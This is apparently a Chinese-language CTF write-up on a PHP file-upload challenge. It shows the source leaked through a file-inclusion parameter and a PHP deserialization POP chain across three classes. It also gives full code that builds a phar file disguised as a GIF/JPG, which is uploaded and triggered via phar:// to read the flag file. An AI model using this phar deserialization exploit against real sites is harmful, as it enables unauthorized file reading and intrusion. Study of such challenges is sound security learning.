考点:文件上传
试了一下,直接上传php文件是不行的,.user.ini和.htaccess也不行
能看到有提示,flag在f1ag.php中
在查看文件功能处发现get传参,可能是文件包含
尝试包含当前页面
?file=file.php
得到
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) { echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) { $show->source = $file; $show->_show();
} else if (!empty($file)){ die('file doesn\'t exists.');
}
?>
读取upload_file.php
?file=upload_file.php
<?php
include 'function.php';
upload_file();
?>
查看function.php
?file=function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }
}
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }
}
?>
function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下
再看class.php
?file=class.php
<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>
可以看到在Test类中的file_get函数有文件读取,在上面的get函数中调用了file_get,这里传入了一个$key 把他当作 params的值,再给file_get
再往上看,__get调用了get方法
__get魔术方法:当调用未定义的属性或没有权限访问的属性触发
再看上面Show类中的__toString
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
如果这里的 $this ->str['str'] 是Test 类,那么Test 类中没有 source这个属性,就会触发__get 方法
那么又该怎么触发__toString方法呢? __toString函数触发条件:
当一个对象被当作字符串处理的时候,会触发这个魔术方法
再看 C1e4r 类中的 __destruct
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
这里有个echo,如果 str 是一个类的对象,也就是 $this.test 是个对象,那么echo 对象 就会触发了 __toString 方法
构造pop链并生成phar文件
<?phpclass C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;}
$cle4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source']='/var/www/html/f1ag.php';
$show->str['str']=$test;
$cle4r->str=$show;$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($cle4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();?>
这边有个要解释一下的是,这里是params[‘source’],而不是params[‘其他’]。
我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。
本地访问生成phar文件,将后缀改为jpg,然后上传
然后访问/upload/,得到文件名
然后使用phar进行文件包含
base64解码得到flag